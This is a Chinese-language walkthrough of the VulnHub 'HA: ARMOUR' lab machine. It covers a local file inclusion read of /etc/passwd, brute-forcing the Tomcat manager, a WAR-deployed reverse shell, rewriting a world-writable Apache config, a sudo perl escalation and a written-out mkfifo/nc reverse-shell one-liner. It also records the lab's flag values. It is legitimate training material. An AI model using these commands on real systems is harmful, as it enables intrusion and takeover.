VulnHub靶场学习_HA: ARMOUR
HA: ARMOUR
Vulnhub靶场
下载地址://www.vulnhub.com/entry/ha-armour,370/
背景:
Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲。猎鹰检查了清单,以下是不负责任的事情:
1.绿巨人护甲 HulkBuster Armour
2.蜘蛛侠盔甲 Spiderman Armour
3.蚁人盔甲 Ant-Man Armour
4.黑豹盔甲 Black Panther Armour
5.钢铁侠盔甲 Iron Man Armour
克劳隐藏所有这些盔甲,现在由您决定。您可以使用渗透技能来恢复全部能力吗?
-史蒂夫·罗杰斯(Steve Rogers)上尉
PS: Klaw有将密码分为三部分并保存在不同位置的习惯。因此,如果您有一些建议,请结合起来继续前进。
首页:
首先进行端口扫描:
存在多个端口开放,依次对65534、80、8080、8009
由于该靶机是在2019年发布的,8009AJP漏洞是2020年公布的,所以尽量不使用。
该AJP漏洞是可以在Tomcat的webapps文件夹下任意文件读取及文件包含(此靶机存在该漏洞)。
尝试连接SSH:192.168.136.177:65534 获取到flag及一个提示。
绿巨人护甲
HulkBuster Armour:{7BDA7019C06B53AEFC8EE95D2CDACCAA}
Hint 1: TheOlympics
查看80端口,挺简单的没有太多复杂的东西。
进行目录扫描的的同时,查看下源码。
查看源码。
发现armour、69、notes.txt,应该是给的提示吧。
会不会是端口呢,前面没有扫出来,试试UDP扫描
百度下69端口下的服务。
这里是开启的Windows下的tftp服务进行连接,获取notes.txt文件拿到flag。
蜘蛛侠盔甲
Spiderman Armour:{83A75F0B31435193BAFD3B9C5FD45AEC}
Hint 2: maybeevena
能下载试试能不能上传,但也不知道上传的绝对路径,拿shell也是有阻碍的。
查看目录扫描的结果,发现个file.php
怀疑是文件读取或文件包含,利用bp进行爆破。
发现同样是file。
访问//192.168.136.177/file.php?file=/etc/passwd
验证下,是文件包含。
//192.168.136.177/file.php?file=/var/www/html/index.html
利用该文件包含看看能获取到什么,同样利用bp爆破敏感路径。
查找有无敏感信息暴露
最终发现了flag。
蚁人盔甲
Ant-Man Armour:{A9F56B7ECE2113C9C4A1214A19EDE99C}
Hint 3: StarBucks
拼接Hint1、Hint2、Hint 3得:
TheOlympicsmaybeevenaStarBucks
获取到密码,或许就是Tomcat的后台管理密码吧。
获得两个提示的时候,百度一下就能获取到密码,
复仇者联盟:无限战争(2018)中的片段。
举办奥运会,或者开家星巴克
利用Msf进行尝试爆破。
用户名不对,记得前面有获取到/etc/passwd。将里面的armour及aarti加入用户名。
同时该Web页面的单词也少,就那么几个。
再次爆破,成功获取到账号。
利用Tomcat的war部署获取shell。
将下面的jsp文件打包成war包上传,从而反弹shell。
获取到Tomcat权限的shell。
查看了下Tomcat所在的文件夹,
前面有思路就是直接利用文件包含读Tomcat的配置文件获取密码。
在文件包含那个点,有输入过正确的路径,只是没有权限,所以没有成功获取。
看下sudo -l 和 find / -user root -perm -4000 -print 2>/dev/null
lsb_release -a 查看发行版本
uname -a 查看内核
netstat -tunlp 查看网络
有个本地的8081端口,在/下无权限。
切换到/tmp下尝试。
获取到flag。
黑豹盔甲
Black Panther Armour:{690B4BAC6CA9FB81814128A294470F92}
还剩最后一个提权的flag,但目前的tomcat权限下无法提权。
发现/var/www/html文件夹的权限是777。
利用下Apache反弹个shell试试。
利用tomcat在/var/www/html下建立反弹shell的nc.php。
没有回显。
查看权限,给个读权限。
反弹shell,权限
也没有获取root或home用户权限,但应该是从这个点获取shell,毕竟/var/www/html默认不是777权限。
那能不能改变Apache的上线用户呢,查看下Apache的配置文件看看及有无修改权限。
先用find来找下有无特意则为777权限的文件,默认是不会存在的。
find / -type f -perm 777 -exec ls -l {} \; 2>/dev/null
发现了Apache的配置文件及Tomcat的用户管理文件,剩下的就是我前面利用文件包含的遗留文件。
查看cat /etc/apache2/apache2.conf
根据设置转到cat /etc/apache2/envvars,发现了上面获取到的shell用户www-data。
尝试修改,无权限。
那就在/etc/apache2/apache2.conf下将修改:
User ${APACHE_RUN_USER}
Group ${APACHE_RUN_GROUP}
修改为:
User root
Group root
修改后要重启Apache,www-data没有权限重启的Apache,这里只能重启的服务器
改为root后Apache无法运行,只能利用Tomcat权限的shell将root改为armour。
sudo -l和suid都没有可以利用的提权点。
将/etc/apache2/apache2.conf配置里的user及group改为aarti找下有无提权点。
提权:sudo perl -e ‘exec “/bin/bash”;’
由于不是交互式shell,提权后无法返回root。所以这里是利用nc反弹交互式shell。
mkfifo /tmp/kikvf; nc 192.168.136.1 3418 0</tmp/kikvf | /bin/sh >/tmp/kikvf 2>&1; rm /tmp/kikvf
反弹成功,提权获取root权限。
进入root文件夹获取flag。
钢铁侠盔甲
IronMan Armour:{3AE9D8799D1BB5E201E5704293BB54EF}
—-end